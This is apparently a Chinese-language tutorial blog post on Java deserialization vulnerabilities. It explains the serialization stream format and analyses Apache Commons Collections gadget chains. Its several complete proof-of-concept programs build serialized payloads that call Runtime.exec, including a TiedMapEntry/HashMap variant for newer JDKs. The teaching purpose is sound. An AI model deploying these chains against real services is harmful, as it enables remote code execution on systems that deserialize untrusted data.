Java反序列是一个将对象转换为字节流的机制,是在json,xml数据格式之外的一个数据传输格式,是Java原生支持的。但是不安全的序列化与反序列使用存在安全风险,这是对不可信的输入数据没有严格的校验改变了程序的执行流程,达到任意代码执行等目标,从这个Java反序列化漏洞的原理可以拓展很多漏洞利用,本质都是差不多的,任何的输入数据只要参与了程序的执行流程就有可能存在安全风险,如XSS,SQL注入,Fastjson等。
这里将以下对Java反序列的漏洞原理进行介绍
1.Java序列化与反序列化的基本概念
2.Java反序列利用链认识
3.JDK1.8u71的绕过
4.寻找利用链
一、java序列化与反序列
1.1 java 序列化
java的序列化将java的对象转化为字节流可以实现对象的状态保存,使得对象可以持久化保存或者在网络跨jvm传输,这个状态的保存是通过保存对象的成员变量的具体值实现,下面将证实java的序列化只是保存了对象的成员变量的值,而没有代码逻辑。
一个对象能够被序列化必须实现 Serializable
接口,通过对象的writeObject
实现将对象转换为字节流。这个方法默认可以不实现,若需要自定义一些数据在序列化写入,可以自定义对象的writeObject
实现。
1.2 Java 反序列化
java的反序列则是序列化的逆反过程,将字节流序列按照序列化格式规范解析,将对象的状态的还原,即成员变量赋值。这个逻辑的实现在对象的readObject
函数,内部的机制通过反射实现。
下面以一个例子说明Java序列化与反序列的基本使用
User类
package org.sec.demo01;
import java.io.Serializable;
/**
* @Project: JavaSec
* @Desc: 序列化与反序列demo
* @Author: thonsun
* @Create: 2020/12/26 11:21
**/
public class User implements Serializable {
public String name;
public int age;
public Flag flag;
public User(String name, int age, Flag flag) {
this.name = name;
this.age = age;
this.flag = flag;
}
public User() {
}
}
class Flag implements Serializable{
public String flag;
public Flag() {
}
public Flag(String flag) {
this.flag = flag;
}
}
测试
package org.sec.demo01;
import java.io.*;
/**
* @Project: JavaSec
* @Desc:
* @Author: thonsun
* @Create: 2020/12/26 11:24
**/
public class MainClass {
public static void main(String[] args) {
MainClass mainClass = new MainClass();
Flag flag = new Flag("flag{xxxxxxx}");
User user = new User("thonsun", 22, flag);
mainClass.serializeUser(user);
mainClass.deserializeUser();
}
public void serializeUser(User user){
try {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user"));
oos.writeObject(user);
System.out.println("Serialize ok");
oos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public void deserializeUser(){
try {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user"));
User user = (User) ois.readObject();
System.out.println(user.name + user.age + user.flag.flag);
ois.close();
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}
1.3 序列化流数据格式
以上面demo例子看序列化的数据user.txt,通过SerializationDumper可以方便查看序列字符串的对象信息
$ java -jar SerializationDumper.jar ACED0005737200136F72672E7365632E64656D6F30312E55736572F2FD6BF8B714735E0200034900036167654C0004666C61677400154C6F72672F7365632F64656D6F30312F466C61673B4C00046E616D657400124C6A6176612F6C616E672F537472696E673B787000000016737200136F72672E7365632E64656D6F30312E466C6167E8D313A21ECC24E90200014C0004666C616771007E0002787074000D666C61677B787878787878787D74000774686F6E73756E
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 19 - 0x00 13
Value - org.sec.demo01.User - 0x6f72672e7365632e64656d6f30312e55736572
serialVersionUID - 0xf2 fd 6b f8 b7 14 73 5e
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 3 - 0x00 03
Fields
0:
Int - I - 0x49
fieldName
Length - 3 - 0x00 03
Value - age - 0x616765
1:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - flag - 0x666c6167
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 01
Length - 21 - 0x00 15
Value - Lorg/sec/demo01/Flag; - 0x4c6f72672f7365632f64656d6f30312f466c61673b
2:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - name - 0x6e616d65
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 02
Length - 18 - 0x00 12
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 03
classdata
org.sec.demo01.User
values
age
(int)22 - 0x00 00 00 16
flag
(object)
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 19 - 0x00 13
Value - org.sec.demo01.Flag - 0x6f72672e7365632e64656d6f30312e466c6167
serialVersionUID - 0xe8 d3 13 a2 1e cc 24 e9
newHandle 0x00 7e 00 04
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 1 - 0x00 01
Fields
0:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - flag - 0x666c6167
className1
TC_REFERENCE - 0x71
Handle - 8257538 - 0x00 7e 00 02
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 05
classdata
org.sec.demo01.Flag
values
flag
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 06
Length - 13 - 0x00 0d
Value - flag{xxxxxxx} - 0x666c61677b787878787878787d
name
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 07
Length - 7 - 0x00 07
Value - thonsun - 0x74686f6e73756e
抽取关键的
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
fieldCount - 3 - 0x00 03
Fields
....
classdata
...
这里可以看出序列化的数据只是保存了对象的成员变量的值,没有代码逻辑;反序列化构建对象的时候必须本地classpath存在序列化数据中指定的class加载,否则会报ClassNotFound错误,所以说对象的代码逻辑是JVM共有,传输的是对象的数据。
二、java利用链的认识
2.1 反序列化的利用点
从上面的分析,Java在反序列还原对象的时候,依据序列化字符串格式解析,从本地classpath加载对应类,恢复对象的成员在序列化字节流中指定的对象或值。这个意思就是说,我们传输的数据可以指定的构造class对象,这就是反序列化的利用点了
1.远程服务使用反序列化
2.远程服务的classpath存在相关可序列化class(实现Serializable接口,利用readObject)并且有实现callback机制,这些callback方法如文件操作,命令执行,网络连接等。
若服务端在使用反序列化readObject在还原一个对象的时候,没有对对象成员变量进行类型限制,攻击者可以在本地构造恶意的对象序列化字节流,这个恶意对象的内部成员变量(通常利用其他Object,在构造的时候改变一些属性)使得在反序列的进入一些如文件操作,命令执行,网络连接的操作,如URL。
2.2 poc
首先给出这个利用链的调用过程
...对序列化字节流的解析还原对象,下面调试证实是通过递归调用readObjecto():Class.forName,Class.NewInstance,反射调用Object.readObject实现
AnnotationInvocationHandler.readObject()
Entry.setValue()
TransformerManager.transform()
利用条件
1.jdk1.8u71(不包含jdk1.8u71)以下
2.依赖apache common collections 给map在get|set增加回调函数,如LazyMap,TransformedMap
下面简单介绍下TransformeredMap的使用
package org.sec.cc02;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
/**
* @Project: JavaSec
* @Desc: common collections 使用目的
* @Author: thonsun
* @Create: 2020/12/12 19:33
**/
public class MainClass {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"C:\\Windows\\notepad.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
TransformedMap.decorate给Map增加回调函数,在利用poc中,这些回调函数是我们的利用目的,比如这个map写入或取出都触发这些回调函数的执行。我们只需要在生成payload的时候,把原本的对象map换成这个decorate 的map,若在readObject的过程中对这个map进行put操作(通常我们还需要改变对象的成员属性,是的程序的逻辑到达这些操作,即if-else的控制,这个也叫面向属性编程的艺术),则触发transformer链的调用,达到RCE等目的。
利用CC链进行Java反序列化漏洞利用:
package org.sec.cc03;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
/**
* @Project: JavaSec
* @Desc: common collections的POC
* @Author: thonsun
* @Create: 2020/12/12 20:01
**/
public class MainClass {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
//Method f = Runtime.class.getMethod("getRuntime");
//Runtime r = (Runtime) f.invoke(null);
//r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"C:\\Windows\\notepad.exe"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap innerMap = new HashMap();
innerMap.put("value","xxxx");
Map outMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outMap);
//write obj buffer
ByteArrayOutputStream buff = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(buff);
oos.writeObject(obj);
oos.close();
//read obj from buffer
System.out.println(buff);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buff.toByteArray()));
Object o = ois.readObject();
}
}
这里选用JDK 8u71前版本的 sun.reflect.annotation.AnnotationInvocationHandler
类:该类满足:
1、构造器可控
memberValues
Map写入2、可反序列,存在
readObject
逻辑对memberValues
插入操作
2.3 Java 反序列化过程
对POC进行分析
2.3.1 ObjectInputStream.readObject() -> ObjectInputStream.readObjecto() ->ObjectInputStream.readOrdinaryObject() :
对序列化的字节流进行解析,如TC_OBJECT进入ObjectInputStream.readOrdinaryObject() 读取类的信息,如类名,通过class.forName加载类,再通过Class.newInstance取得对象
Class.forName
:加载序列化对象类
Class.newInstance
:调用默认构造函数实例化序列化对象
2.3.2 ObjectInputSteam.readSerialData(Object obj, ObjectStreamClass desc)
上面已经默认初始化了序列化的对象,接着要给这个obj赋值,desc里面保存了序列化数据这个对象每个Field的类信息与值信息
2.3.3 ObjectSreamClass.invokeReadObject(obj,this) -> Paylod.readObject()
ObjectInputStram.readSerialData(Object obj, ObjectStreamClass desc)读取到Paylaod class成员信息后,进入Payload Class的readObject函数(这里的实现是通过反射机制)
截图为证
getMethod
Method.invoke()
2.3.4 AnnotationsInvocationHandler.readObject()
当ObjectInputStream递归的调用以上过程,实例并赋值AnnotationsInvocationHandler内部成员(如Retention,TransformedMap),最终进入TagetClass的readObject的逻辑,也就是我们payload的利用链开始。
在JDK1.8u66版本的AnnotationInvocationHandler.readObject()
函数逻辑
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();//this.memberValues == TranformedMap
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue(); // 直接对Map进行get
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); // 直接对Map进行set 触发利用
}
}
}
}
进入setValue触发TransformedMap回调,要进入setValue()(即满足if判断)需要AnnotationInvocationHandler实例满足:
- sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是
Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设⽅法名是X- 被 TransformedMap.decorate 修饰的Map中必须有⼀个键名为X的元素
这里选择Retention,里面有方法value,所以map存在一个key=”value”
2.4 poc2
上面解析了在JDK1.8u66的AnnotationInvocationHandler.readObject()的利用,在JDK1.8u71后对这个AnnotationInvocationHandler的readObject修改,不再直接操作AnnotationInvocationHandler类的map,改为操作在readObject方法中的临时变量
这里了解下Apapche comon collection除了TransformedMap的put会触发回调外,LazyMap在get不到key的时候会触发回调
package org.sec.cc02;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
/**
* @Project: JavaSec
* @Desc: LayMap测试
* @Author: thonsun
* @Create: 2020/12/26 14:42
**/
public class MainClassTwo {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"C:\\Windows\\notepad.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
outerMap.put("test", "xxxx");
outerMap.get("test1");
}
}
虽然JDK1.8u1之后的AnnotationInvocationHandler.readObject()
还有对AnnotationInvocationHandler
的map进行get操作
但是若该序列化AnnotationInvocationHandler对象的时候,LazyMap触发get回调是get不到key对应的值,map没有任何内容是不会将它的类型信息写入到序列化字节流中。且map在取出Entry被强制转化为Entry类型,在getValue时候没有不会触发,即没有再对map(LazyMap)直接的get 与 set了
分析ysoserial的利用是,AnnotationInvocationHandler其实是一个代理handler,在invoke有对map的get操作,触发transformer
package org.sec.cc04;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
/**
* @Project: JavaSec
* @Desc: LazyMap利用CC1链
* @Author: thonsun
* @Create: 2020/12/13 00:30
**/
public class MainClass {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"C:\\Windows\\notepad.exe"})
};
HashMap innerMap = new HashMap();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);//改用get利用 CC反序列链
//动态代理innerMap,所有对Map的操作都会调用该handler的invoke方法,AnnotationHandler实际也是一个hanler
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//动态代理innerMap的实现开始
//创建handler
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
//创建使用proxyMap的AnnotationHandler
// Object obj = constructor.newInstance(Retention.class, proxyMap);
handler = (InvocationHandler)constructor.newInstance(Retention.class, proxyMap);
//write obj buffer
ByteArrayOutputStream buff = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(buff);
oos.writeObject(handler);
oos.close();
//read obj from buffer
System.out.println(buff);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buff.toByteArray()));
Object o = ois.readObject();
}
}
一个对Java反序列化的了解:
对于原对象
Class A {
Class B
}
Class B {
Class C
}
反序列化的 顺序:
C.readObject()
-> B.readObject()
-> A.readObject()
三、高版本JDK利用
上面分析的jdk1.8u71后readObject不再对内部成员变量进行直接读写,这里寻找新的触发点为:
common-collections 的TiredEntry.hashCode()
->TireEntry.getValue()
->this.map.get() -->LazyMap调用链
找到HashMap.readObject() ->hash(key) ->key.hashCOde
所以构造一个key为TiredEntry,this.map==LayzMap.transform的exp在反序列可以触发RCE
下面POC在jdk1.8u181测试通过
package org.sec.cc02;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @Project: test-poc
* @Desc: 使用LasyMap调用链绕过JDK1.8u71高版本不再对内部成员变量(用户可控)进行直接访问赋值,也就修复AnnotationInvokecationHandler利用
* 这里要寻找不在readObject触发点利用了
*
* 类HashMap满足在readObject对key 进行hash
*
* @Author: thonsun
* @Create: 2021/03/22 18:06
**/
public class MainClass {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeTransformersChain = {
new ConstantTransformer(1),
};
Transformer[] transformersChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"C:\\Windows\\notepad.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformersChain);
HashMap innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");
HashMap expMap = new HashMap();
expMap.put(tiedMapEntry,"valuevalue");
//移除keykey
outerMap.remove("keykey");
// ==================
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, transformersChain);
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream buff = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(buff);
oos.writeObject(expMap);
oos.close();
//read obj from buffer
System.out.println(buff);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buff.toByteArray()));
Object o = ois.readObject();
}
}
四、利用链的寻找
从上面的分析可以知道,Java的反序列漏洞利用其实是在找jvm classpath类的利用,从readObject()开始,通过对象的属性控制进入一些威胁操作,这个过程就是一个寻找Gadget的流程,究竟哪些类可以利用,怎么利用,在庞大的第三方依赖库与程序代码人工分析类的每个函数不太现实,上面提到的ysoserial和marshal的反序列利用gadget生成其实是基于已知的生成,Blackhack会议上提出Blackhat-Automated Disovery of Deserialization Gadget Chains wp,自动化的寻找gadget的工具:gadget inspector,有机会研究一下。
参考资料
1.Object Serialization Stream Protocol
6.Blackhat-Automated Disovery of Deserialization Gadget Chains wp